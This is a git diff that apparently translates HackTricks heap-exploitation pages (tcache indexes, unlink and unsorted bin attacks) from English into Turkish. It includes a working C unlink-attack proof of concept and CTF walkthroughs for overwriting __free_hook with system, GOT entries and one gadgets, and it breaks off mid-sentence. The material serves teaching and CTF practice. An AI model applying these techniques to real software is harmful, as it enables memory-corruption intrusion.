gadget to get a s shell. +- Buradaki ana zafiyet, yığın içinde herhangi bir adresi `free` etme kapasitesidir; ofsetini belirterek. +- **Tcache indeksleri saldırısı**: Tcache parça bilgisi içinde depolandığında, **0x100 değeri ile bir adres** üretecek bir boyutta bir parça ayırmak ve serbest bırakmak mümkündür. Bu, tcache'in her bin içindeki parça sayısını farklı baytlarda depolamasından kaynaklanmaktadır; bu nedenle, belirli bir indekste bir parça 0x100 değerini üretir. +- Ardından, bu değer, 0x100 boyutunda bir parça varmış gibi görünür. Bu, bu adresi `free` ederek istismar etmeyi sağlar. Bu, **o adresi tcache'deki 0x100 boyutundaki parçaların indeksine ekleyecektir**. +- Sonra, **0x100 boyutunda** bir parça **ayırarak**, önceki adres bir parça olarak dönecek ve diğer tcache indekslerini yazmayı sağlayacaktır.\ +Örneğin, malloc kancası adresini bunlardan birine koymak ve o indeksin boyutunda bir parça ayırmak, calloc kancasında bir parça almayı sağlayacak; bu da bir one gadget yazmayı mümkün kılacaktır ve bir shell almayı sağlar. - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html) - - Same vulnerability as before with one extra restriction - - **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it. +- Öncekiyle aynı zafiyet, ancak bir ekstra kısıtlama ile. +- **Tcache indeksleri saldırısı**: Öncekiyle benzer bir saldırı, ancak **tcache bilgilerini içeren parçayı serbest bırakarak** daha az adım kullanarak gerçekleştirilir; böylece adresi kendi boyutunun tcache indeksine eklenir, böylece o boyutu ayırmak ve tcache parça bilgilerini bir parça olarak almak mümkündür; bu, serbest bırakma kancasını bir indeksin adresi olarak eklemeyi, ayırmayı ve üzerine bir one gadget yazmayı sağlar. - [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) - - **Write After Free** to add a number to the `fd` pointer. - - A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy. - - **Glibc leak** through `stdout` (FSOP). - - **Tcache poisoning** to get an arbitrary write primitive. +- `fd` işaretçisine bir sayı eklemek için **Write After Free**. +- Bu zorlukta çok fazla **heap feng-shui** gereklidir. Yazım, **Tcache** serbest liste başını kontrol etmenin oldukça kullanışlı olduğunu göstermektedir. +- `stdout` üzerinden **Glibc sızıntısı** (FSOP). +- **Tcache zehirlenmesi** ile rastgele bir yazma ilkesine ulaşmak. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unlink-attack.md b/src/binary-exploitation/libc-heap/unlink-attack.md index 959ff36db..b60d9bbdd 100644 --- a/src/binary-exploitation/libc-heap/unlink-attack.md +++ b/src/binary-exploitation/libc-heap/unlink-attack.md @@ -2,16 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**. +Bu saldırı keşfedildiğinde çoğunlukla bir WWW (Write What Where) sağlıyordu, ancak bazı **kontroller eklendi** ve saldırının yeni versiyonu daha ilginç, daha karmaşık ve **işe yaramaz** hale geldi. -### Code Example: +### Kod Örneği:
-Code - +Kod ```c #include #include @@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe // Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work struct chunk_structure { - size_t prev_size; - size_t size; - struct chunk_structure *fd; - struct chunk_structure *bk; - char buf[10]; // padding +size_t prev_size; +size_t size; +struct chunk_structure *fd; +struct chunk_structure *bk; +char buf[10]; // padding }; int main() { - unsigned long long *chunk1, *chunk2; - struct chunk_structure *fake_chunk, *chunk2_hdr; - char data[20]; +unsigned long long *chunk1, *chunk2; +struct chunk_structure *fake_chunk, *chunk2_hdr; +char data[20]; - // First grab two chunks (non fast) - chunk1 = malloc(0x8000); - chunk2 = malloc(0x8000); - printf("Stack pointer to chunk1: %p\n", &chunk1); - printf("Chunk1: %p\n", chunk1); - printf("Chunk2: %p\n", chunk2); +// First grab two chunks (non fast) +chunk1 = malloc(0x8000); +chunk2 = malloc(0x8000); +printf("Stack pointer to chunk1: %p\n", &chunk1); +printf("Chunk1: %p\n", chunk1); +printf("Chunk2: %p\n", chunk2); - // Assuming attacker has control over chunk1's contents - // Overflow the heap, override chunk2's header +// Assuming attacker has control over chunk1's contents +// Overflow the heap, override chunk2's header - // First forge a fake chunk starting at chunk1 - // Need to setup fd and bk pointers to pass the unlink security check - fake_chunk = (struct chunk_structure *)chunk1; - fake_chunk->size = 0x8000; - fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P - fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P +// First forge a fake chunk starting at chunk1 +// Need to setup fd and bk pointers to pass the unlink security check +fake_chunk = (struct chunk_structure *)chunk1; +fake_chunk->size = 0x8000; +fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P +fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P - // Next modify the header of chunk2 to pass all security checks - chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); - chunk2_hdr->prev_size = 0x8000; // chunk1's data region size - chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit +// Next modify the header of chunk2 to pass all security checks +chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); +chunk2_hdr->prev_size = 0x8000; // chunk1's data region size +chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit - // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' - // This results in chunk1 pointer pointing to chunk1 - 3 - // i.e. chunk1[3] now contains chunk1 itself. - // We then make chunk1 point to some victim's data - free(chunk2); - printf("Chunk1: %p\n", chunk1); - printf("Chunk1[3]: %x\n", chunk1[3]); +// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' +// This results in chunk1 pointer pointing to chunk1 - 3 +// i.e. chunk1[3] now contains chunk1 itself. +// We then make chunk1 point to some victim's data +free(chunk2); +printf("Chunk1: %p\n", chunk1); +printf("Chunk1[3]: %x\n", chunk1[3]); - chunk1[3] = (unsigned long long)data; +chunk1[3] = (unsigned long long)data; - strcpy(data, "Victim's data"); +strcpy(data, "Victim's data"); - // Overwrite victim's data using chunk1 - chunk1[0] = 0x002164656b636168LL; +// Overwrite victim's data using chunk1 +chunk1[0] = 0x002164656b636168LL; - printf("%s\n", data); +printf("%s\n", data); - return 0; +return 0; } ``` -
-- Attack doesn't work if tcaches are used (after 2.26) +- Saldırı, tcaches kullanıldığında çalışmaz (2.26'dan sonra) -### Goal +### Hedef -This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm. +Bu saldırı, **bir parçanın işaretçisini kendisinden 3 adres önceki bir adrese işaret edecek şekilde değiştirmeye** olanak tanır. Eğer bu yeni konum (işaretçinin bulunduğu yerin çevresi) ilginç şeyler içeriyorsa, diğer kontrol edilebilir tahsisatlar / yığın gibi, bunları okumak/yazmak mümkün olabilir ve daha büyük bir zarar vermek için kullanılabilir. -- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary -- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\ - As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT). +- Eğer bu işaretçi yığında bulunuyorsa, çünkü artık kendisinden 3 adres önceye işaret ediyor ve kullanıcı bunu okuyup değiştirebiliyorsa, yığından hassas bilgileri sızdırmak veya hatta dönüş adresini (belki) canary'e dokunmadan değiştirmek mümkün olacaktır. +- CTF örneklerinde, bu işaretçi diğer tahsisatlara işaret eden bir işaretçi dizisinde yer almaktadır, bu nedenle, 3 adres önceye işaret edecek şekilde ayarlandığında ve okunup yazılabildiğinde, diğer işaretçilerin başka adreslere işaret etmesi sağlanabilir.\ +Kullanıcı diğer tahsisatları da okuyup/yazabildiğinden, bilgi sızdırabilir veya rastgele konumlarda yeni adresleri yazabilir (örneğin GOT'ta). -### Requirements +### Gereksinimler -- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes. -- Stack leak in order to set the pointers of the fake chunk. +- Bazı kontrolün olduğu bir bellek (örneğin yığın) ile bazı özelliklere değerler vererek birkaç parça oluşturmak. +- Sahte parçanın işaretçilerini ayarlamak için yığın sızıntısı. -### Attack +### Saldırı -- There are a couple of chunks (chunk1 and chunk2) -- The attacker controls the content of chunk1 and the headers of chunk2. -- In chunk1 the attacker creates the structure of a fake chunk: - - To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating` - - and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located: +- İki parça vardır (chunk1 ve chunk2) +- Saldırgan chunk1'in içeriğini ve chunk2'nin başlıklarını kontrol eder. +- Chunk1'de saldırgan sahte bir parçanın yapısını oluşturur: +- Koruma önlemlerini aşmak için `size` alanının doğru olduğundan emin olur, böylece hata: `corrupted size vs. prev_size while consolidating` önlenir. +- ve sahte parçanın `fd` ve `bk` alanları, chunk1 işaretçisinin yığında saklandığı yere -3 ve -2 ofsetleri ile işaret edecek şekilde ayarlanır, böylece `fake_chunk->fd->bk` ve `fake_chunk->bk->fd` gerçek chunk1 adresinin bulunduğu bellek (yığın) konumuna işaret eder:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

-- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained. -- When the second chunk is freed then this fake chunk is unlinked happening: - - `fake_chunk->fd->bk` = `fake_chunk->bk` - - `fake_chunk->bk->fd` = `fake_chunk->fd` -- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**. -- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**. - - Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere. - - Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**. +- Chunk2'nin başlıkları, önceki parçanın kullanılmadığını ve boyutun sahte parçanın içerdiği boyut olduğunu gösterecek şekilde değiştirilir. +- İkinci parça serbest bırakıldığında, bu sahte parça bağlantısı kesilir: +- `fake_chunk->fd->bk` = `fake_chunk->bk` +- `fake_chunk->bk->fd` = `fake_chunk->fd` +- Daha önce `fake_chunk->fd->bk` ve `fake_chunk->bk->fd` aynı yere (chunk1'in saklandığı yığın konumu) işaret edecek şekilde ayarlanmıştı, bu nedenle geçerli bir bağlı listeydi. **Her ikisi de aynı konuma işaret ettiğinden**, yalnızca sonuncusu (`fake_chunk->bk->fd = fake_chunk->fd`) **etki** gösterecektir. +- Bu, **yığındaki chunk1 işaretçisini yığında 3 adres önce saklanan adrese (veya byte'lara) yazacak şekilde** değiştirecektir. +- Bu nedenle, bir saldırgan chunk1'in içeriğini tekrar kontrol edebilirse, **yığın içinde yazma** yeteneğine sahip olacak ve potansiyel olarak dönüş adresini atlayarak canary'i geçip yerel değişkenlerin değerlerini ve işaretlerini değiştirebilecektir. Hatta yığında saklanan chunk1 adresini, eğer saldırgan tekrar chunk1'in içeriğini kontrol edebilirse, farklı bir konuma değiştirebilir. +- Bunun mümkün olduğunu unutmayın çünkü **adresler yığında saklanmaktadır**. Risk ve istismar, **sahte parçaya işaret eden adreslerin nerede saklandığına** bağlı olabilir.

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

-## References +## Referanslar - [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit) -- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used: - - CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) - - In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE. - - Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) - - Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget. - - CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) - - There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute. +- CTF'de bir unlink saldırısı bulmak garip olsa da, bu saldırının kullanıldığı bazı yazılımlar burada: +- CTF örneği: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) +- Bu örnekte, yığın yerine malloc edilmiş adreslerin bir dizisi vardır. Burada bir parça tahsis edebilmek için unlink saldırısı gerçekleştirilir, böylece malloc edilmiş adresler dizisinin işaretçilerini kontrol edebilmek mümkündür. Ardından, bu adreslerdeki parçaların içeriğini değiştirmeye olanak tanıyan başka bir işlev vardır, bu da adresleri GOT'a işaret etmeye, libc sızıntısı elde etmek için işlev adreslerini değiştirmeye ve RCE'ye olanak tanır. +- Başka bir CTF örneği: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) +- Önceki örnekte olduğu gibi, tahsisatların adreslerinin bir dizisi vardır. İlk tahsisata işaret eden adresi dizinin başlangıcından birkaç konum önceye işaret edecek şekilde bir unlink saldırısı gerçekleştirmek mümkündür ve bu tahsisi yeni konumda yazmak mümkündür. Böylece, diğer tahsisatların işaretçilerini atoi'nin GOT'una işaret edecek şekilde değiştirmek, libc sızıntısı elde etmek için yazdırmak ve ardından atoi GOT'u bir gadget adresi ile değiştirmek mümkündür. +- Unlink saldırısına çok benzer bir açığı istismar eden özel malloc ve free işlevleri ile CTF örneği: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) +- FD ve BK işaretçilerini kontrol etmeye olanak tanıyan bir taşma vardır. Ayrıca, yığın exec bitine sahiptir, bu nedenle bir yığın adresini sızdırmak ve GOT'tan bir işlevi bir yığın parçasına işaret etmek için bir shellcode ile çalıştırmak mümkündür. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 65d509c48..0a02ab641 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -2,72 +2,72 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -For more information about what is an unsorted bin check this page: +Unsorted bin nedir hakkında daha fazla bilgi için bu sayfayı kontrol edin: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense. +Unsorted listeler, `bk` adresine `unsorted_chunks (av)` adresini yazma yeteneğine sahiptir. Bu nedenle, bir saldırgan bir unsorted bin içindeki bir chunk'taki **`bk` işaretçisinin adresini değiştirebilirse**, bu adresi **rastgele bir adrese yazabilir** ki bu da Glibc adreslerini sızdırmak veya bazı savunmaları aşmak için faydalı olabilir. -So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack). +Yani, temelde bu saldırı, **rastgele bir adreste büyük bir sayı ayarlamaya** olanak tanır. Bu büyük sayı, bir heap adresi veya bir Glibc adresi olabilir. Tipik bir hedef, daha büyük boyutlarda hızlı binler oluşturmak için **`global_max_fast`**'tır (ve bir unsorted bin saldırısından hızlı bin saldırısına geçiş yapar). > [!TIP] -> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered. +> Örnek için [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) adresine bakarak 0x4000 ve 0x5000 kullanarak chunk boyutları olarak 0x400 ve 0x500 yerine (Tcache'den kaçınmak için) **günümüzde** **`malloc(): unsorted double linked list corrupted`** hatasının tetiklendiğini görebilirsiniz. > -> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena. +> Bu nedenle, bu unsorted bin saldırısı artık (diğer kontroller arasında) çift bağlı listeyi düzeltme yeteneğine de ihtiyaç duyar, böylece `victim->bk->fd == victim` veya `victim->fd == av (arena)` atlanır, bu da yazmak istediğimiz adresin `fd` konumunda sahte chunk'ın adresini bulundurması ve sahte chunk'ın `fd`'sinin arenaya işaret etmesi gerektiği anlamına gelir. > [!CAUTION] -> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.** +> Bu saldırının unsorted bin'i bozduğunu unutmayın (bu nedenle küçük ve büyük de). Bu nedenle, artık yalnızca **hızlı binlerden tahsisat kullanabiliriz** (daha karmaşık bir program başka tahsisatlar yapabilir ve çökebilir) ve bunu tetiklemek için **aynı boyutta tahsisat yapmalıyız yoksa program çöker.** > -> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed. +> **`global_max_fast`**'ı geçersiz kılmak bu durumda yardımcı olabilir, çünkü hızlı binin tüm diğer tahsisatları exploit tamamlanana kadar yönetebileceğini varsayıyoruz. -The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** +[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) tarafından verilen kod bunu çok iyi açıklıyor, ancak malloc'ları yeterince büyük bir bellek tahsis etmek için değiştirirseniz, böylece Tcache'de sona ermezseniz, daha önce bahsedilen hatanın bu tekniği engellediğini görebilirsiniz: **`malloc(): unsorted double linked list corrupted`** ## Unsorted Bin Infoleak Attack -This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\ -Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**. +Bu aslında çok temel bir kavramdır. Unsorted bin'deki chunk'lar işaretçilere sahip olacaktır. Unsorted bin'deki ilk chunk aslında **`fd`** ve **`bk`** bağlantılarına **ana arenanın (Glibc)** bir kısmına işaret edecektir.\ +Bu nedenle, bir chunk'ı unsorted bin içine **yerleştirip okuyabilirseniz** (use after free) veya **en az 1 işaretçiyi geçersiz kılmadan tekrar tahsis ederseniz** ve ardından **okuyabilirseniz**, bir **Glibc bilgi sızıntısı** elde edebilirsiniz. -A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ -Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. +Bu yazımda kullanılan benzer bir [**saldırı**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), 4 chunk yapısını (A, B, C ve D - D yalnızca üst chunk ile konsolidasyonu önlemek için) kötüye kullanmak için B'deki null byte taşmasını kullanarak C'nin B'nin kullanılmadığını belirtmesini sağladı. Ayrıca, B'deki `prev_size` verisi değiştirilerek boyut B'nin boyutu yerine A+B olarak ayarlandı.\ +Sonra C serbest bırakıldı ve A+B ile konsolide edildi (ancak B hala kullanılıyordu). A boyutunda yeni bir chunk tahsis edildi ve ardından libc sızdırılan adresler B'ye yazıldı ve buradan sızdırıldı. -## References & Other examples +## Referanslar ve Diğer Örnekler - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) - - The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled. - - It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size. - - The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones. - - Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10` - - Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag. +- Amaç, 4869'dan büyük bir değerle bir global değişkeni geçersiz kılmak, böylece bayrağı almak mümkün olur ve PIE etkin değildir. +- Rastgele boyutlarda chunk'lar oluşturmak mümkündür ve istenen boyutta bir heap taşması vardır. +- Saldırı, 3 chunk oluşturarak başlar: taşmayı kötüye kullanmak için chunk0, taşma yapılacak chunk1 ve üst chunk'un önceki chunk'larla konsolide olmaması için chunk2. +- Sonra, chunk1 serbest bırakılır ve chunk0, chunk1'in `bk` işaretçisinin işaret ettiği yere taşar: `bk = magic - 0x10` +- Ardından, chunk1 ile aynı boyutta chunk3 tahsis edilir, bu da unsorted bin saldırısını tetikleyecek ve global değişkenin değerini değiştirecektir, böylece bayrağı almak mümkün olacaktır. - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) - - The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used. - - Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free. - - Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**. - - As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`. - - Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins. - - Now a **fast bin attack** is performed: - - First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: - -
gef➤  p &__free_hook
-      $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
-      gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
-      0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
-      0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-      
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed - - For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. - - Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. - - Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. - - And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. - - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - - Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address +- Birleştirme işlevi, her iki geçirilen indeks aynı olduğunda onu yeniden tahsis edeceği ve ardından serbest bırakacağı için savunmasızdır, ancak serbest bırakılan bölgeye bir işaretçi döndürür. +- Bu nedenle, **2 chunk oluşturulur**: **chunk0** kendisiyle birleştirilecek ve üst chunk ile konsolide olmasını önlemek için chunk1. Ardından, **birleştirme işlevi chunk0 ile** iki kez çağrılır, bu da bir use after free durumuna neden olur. +- Sonra, **`view`** işlevi 2. indeksle (use after free chunk'ın indeksi) çağrılır, bu da **bir libc adresini sızdırır**. +- İkili, yalnızca **`global_max_fast`**'dan daha büyük boyutları malloc etmeye izin verecek şekilde korumalara sahip olduğundan, hızlı bin kullanılmadığı için bir unsorted bin saldırısı kullanılacak ve global değişken `global_max_fast` geçersiz kılınacaktır. +- Ardından, 2. indeksle (use after free işaretçisi) edit işlevi çağrılabilir ve `bk` işaretçisi `p64(global_max_fast-0x10)`'a işaret edecek şekilde geçersiz kılınır. Ardından, yeni bir chunk oluşturmak, daha önce tehlikeye atılmış serbest adresi (0x20) kullanacak ve **unsorted bin saldırısını tetikleyecek** ve `global_max_fast`'ı çok büyük bir değerle geçersiz kılacaktır, bu da artık hızlı binlerde chunk oluşturmayı mümkün kılacaktır. +- Şimdi bir **hızlı bin saldırısı** gerçekleştirilir: +- Öncelikle, **`__free_hook`** konumunda hızlı **200 boyutunda chunk'larla çalışmanın mümkün olduğu keşfedilir**: +-
gef➤  p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
+0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
+0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
+0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
+
+- Bu konumda 0x200 boyutunda hızlı bir chunk elde edebilirsek, çalıştırılacak bir işlev işaretçisini geçersiz kılmak mümkün olacaktır. +- Bunun için, `0xfc` boyutunda yeni bir chunk oluşturulur ve birleştirilmiş işlev bu işaretçi ile iki kez çağrılır, bu şekilde hızlı bin içinde `0xfc*2 = 0x1f8` boyutunda serbest bir chunk'a işaret eden bir işaretçi elde ederiz. +- Ardından, bu chunk'taki edit işlevi çağrılarak bu hızlı binin **`fd`** adresi önceki **`__free_hook`** işlevine işaret edecek şekilde değiştirilir. +- Ardından, hızlı binin içinden önceki işe yaramaz chunk'ı almak için `0x1f8` boyutunda bir chunk oluşturulur, böylece **`__free_hook`** içinde bir hızlı bin chunk'ı elde etmek için `0x1f8` boyutunda başka bir chunk oluşturulur ve bu, **`system`** işlevinin adresi ile geçersiz kılınır. +- Ve nihayetinde, `/bin/sh\x00` dizesini içeren bir chunk serbest bırakılır ve delete işlevi çağrılır, bu da **`__free_hook`** işlevini tetikler ve bu işlev **`system`**'a `/bin/sh\x00` parametresi ile işaret eder. +- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) +- Unsorted Bin saldırısını kötüye kullanarak 